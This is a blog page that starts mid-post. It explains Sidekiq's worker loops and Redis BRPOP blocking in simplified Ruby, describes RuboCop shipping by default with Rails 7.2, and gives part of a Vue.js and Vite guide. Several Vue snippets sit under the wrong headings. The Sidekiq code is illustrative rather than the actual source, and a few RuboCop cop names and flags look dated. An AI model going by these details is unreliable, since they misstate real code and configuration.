# But offers superior performance
config.active_job.queue_adapter = :sidekiq

🎯 The Bottom Line

Solid Queue wasn’t created because Sidekiq is bad – it’s created because:

  1. Different use cases: Not every app needs Redis-level performance
  2. Rails philosophy: “Convention over configuration” includes sensible defaults
  3. Accessibility: Lower barrier to entry for new Rails developers
  4. Infrastructure simplicity: One less moving part to manage

Sidekiq remains excellent and is still widely used in production. Many companies will continue using Sidekiq, especially for high-traffic applications.

Think of it like this:

  • Solid Queue = The sensible, zero-dependency default (like SQLite for development)
  • Sidekiq = The high-performance, battle-tested option (like PostgreSQL for production)

Both have their place in the ecosystem! The Rails team just wanted to provide a great default option that doesn’t require additional infrastructure setup.


🚀 What Happens When You Run bin/sidekiq

1. Command Execution

$ bin/sidekiq

This executes the Sidekiq binary, which typically looks like this:

#!/usr/bin/env ruby
# bin/sidekiq (simplified)

require 'sidekiq/cli'
cli = Sidekiq::CLI.new
cli.parse  # Parse command line arguments
cli.run    # Start the main process

2. CLI Initialization Process

When Sidekiq::CLI.new is created, here’s what happens:

class Sidekiq::CLI
  def initialize
    # Set up signal handlers
    setup_signals

    # Parse configuration
    @config = Sidekiq::Config.new
  end

  def run
    # 1. Load Rails application
    load_application

    # 2. Setup Redis connection
    setup_redis

    # 3. Create the Manager (this is key!)
    @manager = Sidekiq::Manager.new(@config)

    # 4. Start the manager
    @manager.start

    # 5. Enter the main loop (THIS IS WHY IT DOESN'T EXIT!)
    wait_for_shutdown
  end
end

🔄 The Continuous Loop Architecture

Yes, it’s multiple loops! Here’s the hierarchy:

Main Process Loop

def wait_for_shutdown
  while !@done
    # Wait for shutdown signal (SIGTERM, SIGINT, etc.)
    sleep(SCAN_INTERVAL)

    # Check if we should gracefully shutdown
    check_shutdown_conditions
  end
end

Manager Loop

The Manager spawns and manages worker threads:

class Sidekiq::Manager
  def start
    # Spawn processor threads
    @workers = @concurrency.times.map do |i|
      Processor.new(self, &method(:processor_died))
    end

    # Start each processor thread
    @workers.each(&:start)

    # Start the poller thread (for scheduled jobs)
    @poller.start if @poller
  end
end

Processor Thread Loops (The Real Workers)

Each processor thread runs this loop:

class Sidekiq::Processor
  def run
    while !@done
      process_one_job
    end
  rescue Sidekiq::Shutdown
    # Graceful shutdown
  end

  private

  def process_one_job
    # 1. FETCH: Block and wait for a job from Redis
    job = fetch_job_from_redis  # This is where it "listens"

    # 2. PROCESS: Execute the job
    process_job(job) if job

    # 3. LOOP: Go back and wait for next job
  end
end

🎧 How It “Listens” for Jobs

The key is the Redis BRPOP command:

def fetch_job_from_redis
  # BRPOP = "Blocking Right Pop"
  # This blocks until a job is available!
  redis.brpop("queue:default", "queue:low", timeout: 2)
end

What BRPOP does:

  • Blocks the thread until a job appears in any of the specified queues
  • Times out after 2 seconds and checks again
  • Immediately returns when a new job is pushed to the queue

🔍 Step-by-Step Flow

Let’s trace what happens:

1. Startup
$ bin/sidekiq
# Creates CLI instance
# Loads Rails app
# Spawns 5 processor threads (default concurrency)
2. Each Thread Enters Listening Mode
# Thread 1, 2, 3, 4, 5 each run:
loop do
  job = redis.brpop("queue:default", timeout: 2)
  if job
    execute_job(job)
  end
  # Continue looping...
end
3. When You Queue a Job
# In your Rails app:
UserMailer.welcome_email(user).deliver_later

# This does:
redis.lpush("queue:default", job_data.to_json)
4. Immediate Response
  • One of the blocking BRPOP calls immediately receives the job
  • That thread processes the job
  • Goes back to listening for the next job

The process stays running because:

  1. Main thread sleeps and waits for shutdown signals
  2. Worker threads continuously loop, blocking on Redis
  3. No natural exit condition – it’s designed to run indefinitely
  4. Only exits when receiving termination signals (SIGTERM, SIGINT)

📊 Visual Representation

Main Process
├── Manager Thread
├── Processor Thread 1 ──┐
├── Processor Thread 2 ──┼─── All blocking on redis.brpop()
├── Processor Thread 3 ──┼─── Waiting for jobs...
├── Processor Thread 4 ──┼─── Ready to process immediately
└── Processor Thread 5 ──┘

Redis Queue: [job1, job2, job3] ──→ BRPOP ──→ Process job

1. 🛌 What Does sleep Do in Ruby?

Yes, sleep pauses execution for the given number of seconds:

sleep(5)    # Pauses for 5 seconds
sleep(0.5)  # Pauses for 500 milliseconds
sleep(1.5)  # Pauses for 1.5 seconds
Why the while Loop is Needed

The code:

while !@done
  # Wait for shutdown signal (SIGTERM, SIGINT, etc.)
  sleep(SCAN_INTERVAL)
end

Without the loop, the process would:

sleep(SCAN_INTERVAL)  # Sleep once for ~2 seconds
# Then exit! 😱

With the loop, it does this:

# Loop 1: Check if @done=false → sleep 2 seconds
# Loop 2: Check if @done=false → sleep 2 seconds  
# Loop 3: Check if @done=false → sleep 2 seconds
# ...continues forever until @done=true

Why This Pattern?

The main thread needs to:

  1. Stay alive to keep the process running
  2. Periodically check if someone sent a shutdown signal
  3. Not consume CPU while waiting
# Simplified version of what happens:
@done = false

# Signal handler (set up elsewhere)
Signal.trap("SIGTERM") { @done = true }

# Main loop
while !@done
  sleep(2)  # Sleep for 2 seconds
  # Wake up, check @done again
  # If @done=true, exit the loop and shutdown
end

puts "Shutting down gracefully..."

Real-world example:

$ bin/sidekiq
# Process starts, enters the while loop
# Sleeps for 2 seconds, checks @done=false, sleeps again...

# In another terminal:
$ kill -TERM <sidekiq_pid>
# This sets @done=true
# Next time the while loop wakes up, it sees @done=true and exits

2. 🔄 What is loop do in Ruby?

loop do is Ruby’s infinite loop construct:

loop do
  puts "This runs forever!"
  sleep(1)
end
Equivalent Forms

These are all the same:

# Method 1: loop do
loop do
  # code here
end

# Method 2: while true
while true
  # code here  
end

# Method 3: until false
until false
  # code here
end
Breaking Out of Loops
loop do
  puts "Enter 'quit' to exit:"
  input = gets.chomp

  break if input == "quit"  # This exits the loop

  puts "You said: #{input}"
end

puts "Goodbye!"
In Sidekiq Context
class Sidekiq::Processor
  def run
    loop do  # Infinite loop
      process_one_job

      # Only exits when:
      # 1. Exception is raised (like Sidekiq::Shutdown)
      # 2. break is called
      # 3. Process is terminated
    end
  rescue Sidekiq::Shutdown
    puts "Worker shutting down gracefully"
  end
end

🔍 The Difference in Context

Main Thread (with while and sleep):
# Purpose: Keep process alive, check for shutdown signals
while !@done
  sleep(2)  # "Lazy waiting" - check every 2 seconds
end
Worker Threads (with loop do):
# Purpose: Continuously process jobs without delay
loop do
  job = fetch_job  # This blocks until job available
  process(job)     # Process immediately
  # No sleep needed - fetch_job blocks for us
end
  1. sleep pauses for specified seconds – useful for “lazy polling”
  2. while !@done creates a “checkable” loop that can be stopped
  3. loop do creates an infinite loop for continuous processing
  4. Different purposes:
  • Main thread: “Stay alive and check occasionally”
  • Worker threads: “Process jobs continuously”

Simple analogy:

  • Main thread: Like a security guard who checks the building every 2 minutes
  • Worker threads: Like cashiers who wait for the next customer (blocking until one arrives)

🔒 How BRPOP Blocks Code

What “Blocking” Means

When we say BRPOP “blocks,” it means:

  • The thread stops executing and waits
  • No CPU is consumed during the wait
  • The thread is “parked” by the operating system
  • Execution resumes only when something happens

🔍 Step-by-Step: What Happens During BRPOP

1. The Call is Made
# Thread 1 executes this line:
job = redis.brpop("queue:default", "queue:low", timeout: 2)
2. Redis Connection Blocks
Ruby Thread 1 ────┐
                  │
                  ▼
Redis Client ────────► Redis Server
                      │
                      ▼ 
                   Check queues:
                   - queue:default → EMPTY
                   - queue:low → EMPTY

                   Result: WAIT/BLOCK
3. Thread Goes to Sleep
# At this point:
# - Thread 1 is BLOCKED (not consuming CPU)
# - Ruby interpreter parks this thread
# - Other threads continue running normally
# - The thread is "waiting" for Redis to respond
4. What Wakes Up the Block?

Option A: New Job Arrives

# Somewhere else in your Rails app:
SomeJob.perform_later(user_id)

# This does: redis.lpush("queue:default", job_data)
# ↓
# Redis immediately responds to the waiting BRPOP
# ↓ 
# Thread 1 wakes up with the job data
job = ["queue:default", job_json_data]

Option B: Timeout Reached

# After 2 seconds of waiting:
job = nil  # BRPOP returns nil due to timeout

🧵 Thread State Visualization

Before BRPOP:
Thread 1: [RUNNING] ──► Execute redis.brpop(...)

During BRPOP (queues empty):
Thread 1: [BLOCKED] ──► 💤 Waiting for Redis response
Thread 2: [RUNNING] ──► Also calling redis.brpop(...)
Thread 3: [BLOCKED] ──► 💤 Also waiting
Thread 4: [RUNNING] ──► Processing a job
Thread 5: [BLOCKED] ──► 💤 Also waiting

Job arrives via LPUSH:
Thread 1: [RUNNING] ──► Wakes up! Got the job!
Thread 2: [BLOCKED] ──► Still waiting
Thread 3: [BLOCKED] ──► Still waiting  

⚡ Why This is Efficient

Blocking vs Polling Comparison

❌ Bad Approach (Polling):

loop do
  job = redis.rpop("queue:default")  # Non-blocking
  if job
    process(job)
  else
    sleep(0.1)  # Check again in 100ms
  end
end

# Problems:
# - Wastes CPU checking every 100ms
# - Delays job processing by up to 100ms
# - Not scalable with many workers

✅ Good Approach (BRPOP Blocking):

loop do
  job = redis.brpop("queue:default", timeout: 2)  # Blocking
  process(job) if job
end

# Benefits:
# - Zero CPU usage while waiting
# - Instant job processing (no polling delay)
# - Scales to thousands of workers

🛠️ System-Level Explanation

What Happens in the OS
  1. Ruby calls Redis client
  2. Redis client opens TCP socket to Redis server
  3. Sends BRPOP command over socket
  4. Thread calls system sleep() – goes into “waiting” state
  5. OS scheduler removes thread from active CPU queue
  6. Thread doesn’t run until socket receives data
Ruby Process
├── Thread 1 [BLOCKED on socket read]
├── Thread 2 [RUNNING - processing job]  
├── Thread 3 [BLOCKED on socket read]
└── Thread 4 [BLOCKED on socket read]

Operating System Scheduler:
- Only schedules Thread 2 for CPU time
- Threads 1,3,4 are "sleeping" - zero CPU usage

📡 Network Level Detail

Client                     Redis Server
  │                           │
  │────► BRPOP queue:default ─┤
  │                           │ Check queue...
  │                           │ Empty!
  │                           │ Add client to 
  │                           │ waiting list
  │                           │
  │ 💤 BLOCKED               │
  │                           │
  │                           │ ◄──── LPUSH from Rails app
  │                           │ 
  │ ◄──── job_data ──────────┤ Wake up waiting client!
  │                           │
  │ Thread RESUMES           │
  1. BRPOP literally pauses thread execution at the OS level
  2. Zero CPU consumption during blocking
  3. Instant response when job arrives (no polling delay)
  4. Multiple threads can block simultaneously on different/same queues
  5. Redis manages the waiting list of blocked clients
  6. Timeout prevents infinite blocking if no jobs arrive

This is why Sidekiq is so efficient – workers spend most of their time blocked (consuming zero resources) and instantly wake up when work arrives!

The blocking mechanism is what makes the “always listening” behavior possible without eating up your server’s resources.


How BRPOP is actually implemented? Sidekiq doesn’t implement it directly – it uses the redis gem, which is the standard Redis client for Ruby.

🚀 How redis.brpop is Implemented in Ruby

The Reality: It’s Actually Simple

The Redis gem doesn’t implement BRPOP itself – it delegates to a lower-level client that handles the actual socket communication. Here’s the architecture:

🏗️ The Ruby Implementation Stack

1. High-Level Redis Gem
# In your Sidekiq code
redis.brpop("queue:default", "queue:low", timeout: 2)

2. Redis Gem Delegation

The Redis gem (the one Sidekiq uses) primarily does:

# Simplified version in the Redis gem
def brpop(*keys, **options)
  timeout = options[:timeout] || 0

  # Convert arguments to Redis protocol format
  command = ["BRPOP"] + keys + [timeout]

  # Delegate to lower-level client
  call(command)
end

3. Lower-Level Client (redis-client)

The actual networking happens in the redis-client gem:

# In redis-client gem
class RedisClient
  def call(command, timeout: nil)
    # 1. Format command according to RESP protocol
    command_string = format_command(command)

    # 2. Send to Redis server
    @socket.write(command_string)

    # 3. READ AND BLOCK HERE! 
    # This is where the blocking magic happens
    response = @socket.read_with_timeout(timeout)

    # 4. Parse and return response
    parse_response(response)
  end
end

🔍 The Critical Blocking Part

Here’s where the blocking actually happens:

# Simplified socket read implementation
def read_with_timeout(timeout)
  if timeout && timeout > 0
    # Use IO.select to wait for data with timeout
    ready = IO.select([@socket], nil, nil, timeout)

    if ready
      # Data is available, read it
      @socket.read_nonblock(4096)
    else
      # Timeout reached, return nil
      nil
    end
  else
    # Block indefinitely until data arrives
    @socket.read  # THIS BLOCKS THE THREAD
  end
end

⚡ The Socket-Level Magic

At the lowest level, it’s just Ruby’s socket operations:

# What actually happens at the OS level
require 'socket'

socket = TCPSocket.new('localhost', 6379)

# Send BRPOP command
socket.write("*4\r\n$5\r\nBRPOP\r\n$13\r\nqueue:default\r\n$9\r\nqueue:low\r\n$1\r\n2\r\n")

# THIS BLOCKS until Redis responds or timeout
result = socket.read  # Ruby thread blocks here

socket.close

🧵 Ruby’s Built-in Blocking

The secret sauce: Ruby’s socket.read method is built-in blocking:

  1. Ruby calls the OS: socket.read translates to system calls like recv() or read()
  2. OS blocks the thread: The operating system puts the thread to sleep
  3. Zero CPU usage: Thread consumes no resources while waiting
  4. Instant wake-up: OS wakes thread when data arrives

🎯 Real Implementation Example

Here’s what a simplified BRPOP implementation looks like:

class SimpleRedisClient
  def initialize(host, port)
    @socket = TCPSocket.new(host, port)
  end

  def brpop(key, timeout = 0)
    # Format Redis command
    command = "*3\r\n$5\r\nBRPOP\r\n$#{key.length}\r\n#{key}\r\n$#{timeout.to_s.length}\r\n#{timeout}\r\n"

    # Send command
    @socket.write(command)

    # BLOCK and wait for response
    # This is where the magic happens!
    response = @socket.read

    # Parse response
    parse_redis_response(response)
  end

  private

  def parse_redis_response(response)
    # Parse Redis RESP protocol
    # Return parsed data or nil for timeout
  end
end
  1. No Ruby “magic” – just standard socket operations
  2. OS handles the blocking – not Ruby-specific code
  3. Thread sleeps at kernel level – zero CPU usage
  4. IO.select for timeouts – Ruby’s standard approach
  5. RESP protocol – Redis’s simple text protocol

The “blocking” is just Ruby’s normal socket behaviour – when you read from a socket with no data, the thread naturally blocks until data arrives!

This is why BRPOP is so efficient – it leverages the operating system’s built-in ability to efficiently wait for network data without consuming any CPU resources.

Pretty elegant, right? The complexity is all hidden in the OS networking stack, while the Ruby implementation stays remarkably simple! 🎉


RuboCop 🕵🏻 Comes Built-in with Rails 7.2: A Game Changer for Ruby Developers

Ruby on Rails has always been about developer happiness and productivity. With Rails 7.2, the framework took a significant step forward by including RuboCop as a built-in tool for new applications. This feature continues in Rails 8.0 and represents a major shift in how Rails approaches code quality and consistency.

📋 Table of Contents

🤔 What is RuboCop?

RuboCop is a powerful static code analyzer, linter, and code formatter for Ruby. It enforces coding standards based on the community Ruby Style Guide and helps developers:

  • Maintain consistent code style across projects and teams
  • Identify potential bugs and code smells early
  • Automatically fix many style violations
  • Improve code readability and maintainability

Think of RuboCop as your personal code reviewer that never gets tired and always applies the same standards consistently.

📈 What This Means for Rails Developers

The inclusion of RuboCop as a default tool in Rails represents several significant changes:

🎯 Standardization Across the Ecosystem

  • Consistent code style across Rails applications
  • Reduced onboarding time for new team members
  • Easier code reviews with automated style checking

🚀 Improved Developer Experience

  • No more manual setup for basic linting
  • Immediate feedback on code quality
  • Built-in best practices from day one

📚 Educational Benefits

  • Learning tool for new Ruby developers
  • Enforcement of Ruby community standards
  • Gradual improvement of coding skills

⏰ Before Rails 7.2: The Manual Setup Era

🔧 Manual Installation Process

Before Rails 7.2, integrating RuboCop required several manual steps:

  1. Add to Gemfile:
gem 'rubocop', require: false
gem 'rubocop-rails', require: false
  1. Install dependencies:
bundle install
  1. Generate configuration:
rubocop --auto-gen-config
  1. Create .rubocop.yml manually:
inherit_from: .rubocop_todo.yml

AllCops:
  NewCops: enable
  Exclude:
    - 'db/schema.rb'
    - 'vendor/**/*'

Style/Documentation:
  Enabled: false

Metrics/LineLength:
  Max: 120

📊 Common Pain Points

  • Inconsistent setups across projects
  • Configuration drift between team members
  • Time spent on initial setup and maintenance
  • Different rule sets leading to confusion
  • Forgotten setup in new projects

🎉 After Rails 7.2, Rails 8.0: Built-in by Default

Automatic Integration

When you create a new Rails application:

rails new my_app

You automatically get:

  1. 📄 .rubocop.yml with omakase configuration
  2. 🔧 bin/rubocop executable
  3. 📦 rubocop-rails-omakase gem in Gemfile
  4. ⚙️ Pre-configured rules ready to use

📁 Default File Structure

my_app/
├── .rubocop.yml
├── bin/
│   └── rubocop
├── Gemfile (includes rubocop-rails-omakase)
└── ...

📋 Default Configuration

The default .rubocop.yml looks like:

# Omakase Ruby styling for Rails
inherit_gem:
  rubocop-rails-omakase: rubocop.yml

# Your own specialized rules go here

🔄 Before vs After: Key Differences

AspectBefore Rails 7.2After Rails 7.2
🔧 SetupManual, time-consumingAutomatic, zero-config
📊 ConsistencyVaries by project/teamStandardized omakase style
⏱️ Time to Start15-30 minutes setupImmediate
🎯 ConfigurationCustom, often overwhelmingMinimal, opinionated
📚 Learning CurveSteep for beginnersGentle, guided
🔄 MaintenanceManual updates neededManaged by Rails team

⚡ Advantages of Built-in RuboCop

👥 For Development Teams

🎯 Immediate Consistency

  • No configuration debates – omakase style provides sensible defaults
  • Faster onboarding for new team members
  • Consistent code reviews across all projects

🚀 Increased Productivity

  • Less time spent on style discussions
  • More focus on business logic
  • Automated code formatting saves manual effort

🏫 For Learning and Education

📖 Built-in Best Practices

  • Ruby community standards enforced by default
  • Immediate feedback on code quality
  • Educational comments in RuboCop output

🎓 Skill Development

  • Gradual learning of Ruby idioms
  • Understanding of performance implications
  • Code smell detection capabilities

🏢 For Organizations

📈 Code Quality

  • Consistent standards across all Rails projects
  • Reduced technical debt accumulation
  • Easier maintenance of legacy code

💰 Cost Benefits

  • Reduced code review time
  • Fewer bugs in production
  • Faster developer onboarding

🛠️ Working with RuboCop in Rails 7.2+

🚀 Getting Started

1. 🏃‍♂️ Running RuboCop

# Check your code
./bin/rubocop

# Auto-fix issues
./bin/rubocop -a

# Check specific files
./bin/rubocop app/models/user.rb

# Check with different format
./bin/rubocop --format json

2. 📊 Understanding Output

$ ./bin/rubocop
Inspecting 23 files
.......C..............

Offenses:

app/models/user.rb:15:81: C: Layout/LineLength: Line is too long. [95/80]
  def full_name; "#{first_name} #{last_name}"; end

1 file inspected, 1 offense detected, 1 offense autocorrectable

⚙️ Customizing Configuration

🎨 Adding Your Own Rules

Edit .rubocop.yml to add project-specific rules:

# Omakase Ruby styling for Rails
inherit_gem:
  rubocop-rails-omakase: rubocop.yml

# Your own specialized rules go here
Metrics/LineLength:
  Max: 120

Style/Documentation:
  Enabled: false

# Exclude specific files
AllCops:
  Exclude:
    - 'db/migrate/*'
    - 'config/routes.rb'

🔧 Common Customizations

# Allow longer lines in specs
Metrics/LineLength:
  Exclude:
    - 'spec/**/*'

# Disable specific cops for legacy code
Style/FrozenStringLiteralComment:
  Exclude:
    - 'app/legacy/**/*'

# Custom naming patterns
Naming/FileName:
  Exclude:
    - 'lib/tasks/*.rake'

🔄 Integration with Development Workflow

📝 Editor Integration

Most editors support RuboCop integration:

VS Code:

{
  "ruby.rubocop.executePath": "./bin/",
  "ruby.format": "rubocop"
}

RubyMine:

  • Enable RuboCop inspection in settings
  • Configure auto-format on save

🔧 Git Hooks

Add a pre-commit hook:

# .git/hooks/pre-commit
#!/bin/sh
./bin/rubocop --auto-correct

🏗️ CI/CD Integration

Add to your GitHub Actions:

name: RuboCop
on: [push, pull_request]
jobs:
  rubocop:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      - uses: ruby/setup-ruby@v1
        with:
          bundler-cache: true
      - run: bundle exec rubocop

💡 How Rails Developers Can Make the Most of It

🎯 Best Practices for Teams

1. 📚 Start with Omakase, Evolve Gradually

# Begin with defaults
inherit_gem:
  rubocop-rails-omakase: rubocop.yml

# Add team-specific rules only when needed
Metrics/ClassLength:
  Max: 150  # Team prefers slightly longer classes

2. 🔄 Use Auto-correction Wisely

# Safe auto-corrections
./bin/rubocop -a

# All auto-corrections (review changes!)
./bin/rubocop -A

# Check what would be auto-corrected
./bin/rubocop --auto-correct --dry-run

3. 📈 Gradual Legacy Code Improvement

# Use rubocop_todo.yml for existing code
inherit_from: 
  - .rubocop_todo.yml

# Generate todo file for legacy code
# $ bundle exec rubocop --auto-gen-config

🛡️ Handling Violations

🎯 Prioritizing Fixes

  1. 🔴 High Priority: Security and bug-prone patterns
  2. 🟡 Medium Priority: Performance issues
  3. 🟢 Low Priority: Style preferences

📝 Selective Disabling

# Disable for specific lines
user_data = some_complex_hash # rubocop:disable Metrics/LineLength

# Disable for blocks
# rubocop:disable Metrics/AbcSize
def complex_method
  # Complex but necessary logic
end
# rubocop:enable Metrics/AbcSize

📊 Monitoring and Metrics

📈 Track Code Quality Over Time

# Generate reports
./bin/rubocop --format html -o rubocop_report.html

# Count violations
./bin/rubocop --format offenses

🎯 Team Goals

  • Reduce total offense count by 10% each sprint
  • Maintain zero violations for new code
  • Focus on specific cop families (Security, Performance)

🎯 The Rails Omakase Philosophy

🍱 What is “Omakase”?

“Omakase” (お任せ) is a Japanese phrase meaning “I’ll leave it up to you.” In the context of Rails and RuboCop, it represents:

  • 🎨 Curated choices by experienced developers
  • 🚀 Sensible defaults that work for most teams
  • ⚡ Reduced decision fatigue for developers
  • 📚 Opinionated but flexible approach

🎨 DHH’s Aesthetic Vision

The omakase rules reflect DHH’s personal coding preferences:

# Preferred style examples from omakase

# Multi-line method calls
user.update(
  name: "John",
  email: "john@example.com"
)

# String literals
"Hello world" # preferred over 'Hello world'

# Array and hash formatting
array = [
  first_item,
  second_item
]

hash = {
  key: value,
  another_key: another_value
}

🔄 Philosophy vs. Rigid Standards

Unlike tools that enforce uniform style across all Ruby code, the omakase approach:

  • 🎨 Celebrates Ruby’s expressiveness
  • 🏠 Provides a starting point for house styles
  • 🔧 Allows customization based on team needs
  • 📚 Educates rather than dictates

🚫 Opting Out (If You Must)

🏃‍♂️ Skip During Generation

# Create Rails app without RuboCop
rails new my_app --skip-rubocop

🗑️ Remove from Existing App

# Remove from Gemfile
gem 'rubocop-rails-omakase', require: false, group: [:development]

# Delete configuration
rm .rubocop.yml
rm bin/rubocop

# Update bundle
bundle install

🔄 Alternative: Replace with Custom Setup

# Replace omakase with custom setup
gem 'rubocop', require: false
gem 'rubocop-rails', require: false
gem 'rubocop-performance', require: false

🔮 Future Implications

📈 For the Rails Ecosystem

🌐 Standardization Benefits

  • Consistent code style across Rails applications
  • Easier gem development with shared standards
  • Improved code sharing between projects

🎓 Educational Impact

  • New developers learn best practices faster
  • Reduced confusion about Ruby style choices
  • Community alignment on coding standards

🛠️ Tool Evolution

🔧 Editor Support

  • Better IDE integration with standardized configs
  • Improved auto-completion based on common patterns
  • Enhanced refactoring tools with consistent style

🤖 AI Code Generation

  • Better AI-generated code following Rails conventions
  • Consistent output from coding assistants
  • Improved code suggestions in IDEs

🏢 Industry Impact

📊 Hiring and Onboarding

  • Faster developer onboarding with consistent standards
  • Easier code assessment during interviews
  • Reduced training time for Rails conventions

🔍 Code Review Process

  • Automated style checking reduces manual review time
  • Focus on logic rather than formatting
  • Consistent feedback across different reviewers

📚 Advanced Usage Patterns

🎯 Team-Specific Configurations

# .rubocop.yml for different team preferences
inherit_gem:
  rubocop-rails-omakase: rubocop.yml

# Backend team preferences
Metrics/MethodLength:
  Max: 15

# Frontend team (dealing with complex views)
Metrics/AbcSize:
  Exclude:
    - 'app/helpers/**/*'

# QA team (longer test descriptions)
Metrics/LineLength:
  Exclude:
    - 'spec/**/*'

🔄 Gradual Adoption Strategy

# Phase 1: Start with basics
AllCops:
  NewCops: enable
  Include:
    - 'app/models/**/*.rb'

# Phase 2: Expand to controllers
# AllCops:
#   Include:
#     - 'app/models/**/*.rb'
#     - 'app/controllers/**/*.rb'

# Phase 3: Full application
# AllCops:
#   Include:
#     - 'app/**/*.rb'

📊 Metrics and Reporting

# Generate detailed reports
./bin/rubocop --format json --out rubocop.json
./bin/rubocop --format html --out rubocop.html

# Focus on specific cop families
./bin/rubocop --only Layout
./bin/rubocop --only Security
./bin/rubocop --only Performance

📝 Conclusion

The inclusion of RuboCop as a built-in tool in Rails 8.0 (starting from 7.2) represents a significant evolution in the Rails ecosystem. This change brings numerous benefits:

🎯 Key Takeaways

  1. 🚀 Zero-configuration setup eliminates setup friction
  2. 📊 Consistent code quality across the Rails community
  3. 📚 Educational benefits for developers at all levels
  4. ⚡ Improved productivity through automation
  5. 🎨 Balanced approach between opinionated defaults and flexibility

🔮 Looking Forward

As the Rails community adapts to this change, we can expect:

  • Better code consistency across open-source Rails projects
  • Improved developer experience for newcomers
  • Enhanced tooling integration throughout the ecosystem
  • Continued evolution of the omakase philosophy

💡 Final Recommendations

  1. 🎯 Embrace the defaults initially – they’re well-considered
  2. 📚 Learn from violations rather than just fixing them
  3. 🔄 Customize gradually based on team needs
  4. 🤝 Use it as a teaching tool for junior developers
  5. 📈 Monitor improvements in code quality over time

The built-in RuboCop integration exemplifies Rails’ commitment to developer happiness and productivity. By providing sensible defaults while maintaining flexibility, Rails continues to evolve as a framework that scales with teams and projects of all sizes.

Whether you’re starting a new Rails project or maintaining an existing one, RuboCop’s integration offers an opportunity to improve code quality and developer experience with minimal effort. Embrace the omakase philosophy, customize where needed, and enjoy cleaner, more consistent Ruby code! 🎉


Have you started using RuboCop with Rails 8.0? Share your experiences and customizations in the comments below!

📖 Additional Resources


Happy Rails Setup! 🚀

Guide: What is Vue.js 🔭? Vue.js Best Practices | What is Vite ⚡?

Vue.js is a progressive JavaScript framework for building user interfaces and single-page applications, created by Evan You in 2014. Known for its gentle learning curve and developer-friendly approach, Vue combines the best aspects of React’s component-based architecture with Angular’s powerful templating system, while maintaining a smaller footprint and simpler syntax.

What makes Vue “progressive” is its incremental adoptability – you can start by sprinkling Vue into existing projects for small interactive components, or scale up to full-featured SPAs with routing, state management, and build tooling.

With its intuitive template syntax, reactive data binding, and excellent documentation, Vue has become the third pillar of modern frontend development alongside React and Angular, powering everything from small business websites to large-scale applications at companies like GitLab, Nintendo, and Adobe.

The framework’s philosophy of being approachable for beginners yet powerful for experts has earned it a passionate community and made it one of the most loved JavaScript frameworks, offering developers a perfect balance of simplicity, performance, and flexibility.

What We should do (Good)

  1. Single File Components: The template-script-style structure is correct and standard
  2. Component Decomposition: Split large component into smaller, focused ones
  3. Utility Extraction: Moved data generation to separate utility file
  4. Clear Separation: Each component has single responsibility

🔧 Additional Modularity Options:

  • Composables (Vue 3 specific):
// composables/useUsers.ts
export const useUsers = () => {
  const users = ref([])
  const loading = ref(false)
  
  const loadUsers = async () => { /* logic */ }
  
  return { users, loading, loadUsers }
}
  • External Stylesheets:
// composables/useUsers.ts
export const useUsers = () => {
  const users = ref([])
  const loading = ref(false)
  
  const loadUsers = async () => { /* logic */ }
  
  return { users, loading, loadUsers }
}
  • Shared Constants:
<style src="./UserCard.css" scoped></style>

📁 Recommended Structure:

// constants/userConfig.ts
export const USER_NAMES = ['Alex', 'Taylor', ...]

Summary of Best Practices:

What We should Fix:

  1. Centralized Configuration: All settings in one place
  2. Environment Variables: Use VITE_ prefixed vars for Vite
  3. Type Safety: TypeScript definitions for env vars
  4. Fallback Values: Defaults if env vars aren’t set
  5. Single Source of Truth: One config module

📁 File Structure:

src/
├── config/
│   ├── index.ts        # Main config
│   └── api.ts          # API client config
├── services/
│   └── UserService.ts  # Uses config.api.baseUrl
└── .env.example        # Example env file

🔧 To Use Different Environments:

Create different .env files:

  • .env.development
  • .env.staging
  • .env.production

💡 Benefits:

  • ✅ Environment-specific URLs
  • ✅ No hardcoded values
  • ✅ Type-safe configuration
  • ✅ Easy to maintain
  • ✅ Supports CI/CD pipelines

This is now following industry best practices for configuration management!

Show dates alternatives

  1. Move to utils: Create utils/dateFormatter.ts for reuse across components
  2. Use a library: Like date-fns or dayjs for better date formatting
  3. Keep it simple: Just use new Date().toLocaleDateString() inline

This cleanup follows the DRY principle – remove unused code to keep the codebase clean!

What is this line about?

<script type="module" src="/src/main.ts"></script>

What it does:

  • Entry Point: This script tag tells the browser to load and execute /src/main.ts as the starting point of your application
  • ES Modules: type=”module” enables modern JavaScript module syntax (import/export)
  • Vite Development: During development, Vite serves this file directly with hot module replacement
  • Build Process: During production build, Vite bundles everything and replaces this with the compiled assets

What’s in main.ts:

index.html 
    ↓ (loads)
main.ts 
    ↓ (creates Vue app)
App.vue 
    ↓ (uses router)
Your Components

What main.ts does:

  1. Imports styles: import './assets/main.css'
  2. Creates Vue app: createApp(App)
  3. Adds router: app.use(router)
  4. Mounts to DOM: app.mount('#app') (attaches to <div id="app"> in index.html)

Why this approach:

  • ✅ Modern: Uses ES modules instead of old <script> tags
  • ✅ Fast: Vite’s dev server with hot reload
  • ✅ Bundled: Automatically optimized for production
  • ✅ TypeScript: Direct TypeScript support without compilation step

This is the standard Vite + Vue 3 setup – very clean and modern!

What is Vite?

Vite is a modern build tool and development server for frontend development.

https://vite.dev/

Vite (pronounced “veet”, French for “fast”) is:

  • A build tool created by Evan You (creator of Vue.js)
  • A development server with extremely fast hot module replacement (HMR)
  • A bundler that uses Rollup for production builds

Why Vite exists:

Problem with traditional tools:
Old way (Webpack, etc.):
Bundle everything → Start dev server → Slow startup (30-60s)
Change code → Rebuild entire bundle → Slow updates (5-10s)
Vite’s solution:
Vite way:
Start dev server instantly → Serve modules directly → Fast startup (<1s)
Change code → Update only changed module → Fast updates (<100ms)

How Vite works:

Development Mode:

  1. ES Modules: Serves files directly to browser using native ES modules
  2. No bundling: Browser loads modules on-demand
  3. Instant startup: No need to bundle before starting
  4. Fast HMR: Only updates changed modules

Production Mode:

  1. Rollup bundling: Creates optimized bundles
  2. Tree shaking: Removes unused code
  3. Code splitting: Splits into smaller chunks
  4. Minification: Compresses code

Vite vs Other Tools:

FeatureViteWebpackParcel
Dev startup< 1s30-60s10-20s
HMR speed< 100ms1-5s1-3s
Bundle sizeSmallMediumMedium
ConfigurationMinimalComplexZero-config

Your Project Structure:

user-management-ui/          # Vite project root
├── index.html              # Entry HTML (Vite serves this)
├── vite.config.ts          # Vite configuration
├── package.json            # Dependencies & scripts
├── src/
│   ├── main.ts            # App entry point
│   ├── App.vue            # Root component
│   └── components/        # Vue components
└── dist/                  # Built files (after npm run build)

Vite Configuration:

Your Vite Setup:
  1. Vue Plugin: vue() – Handles .vue files
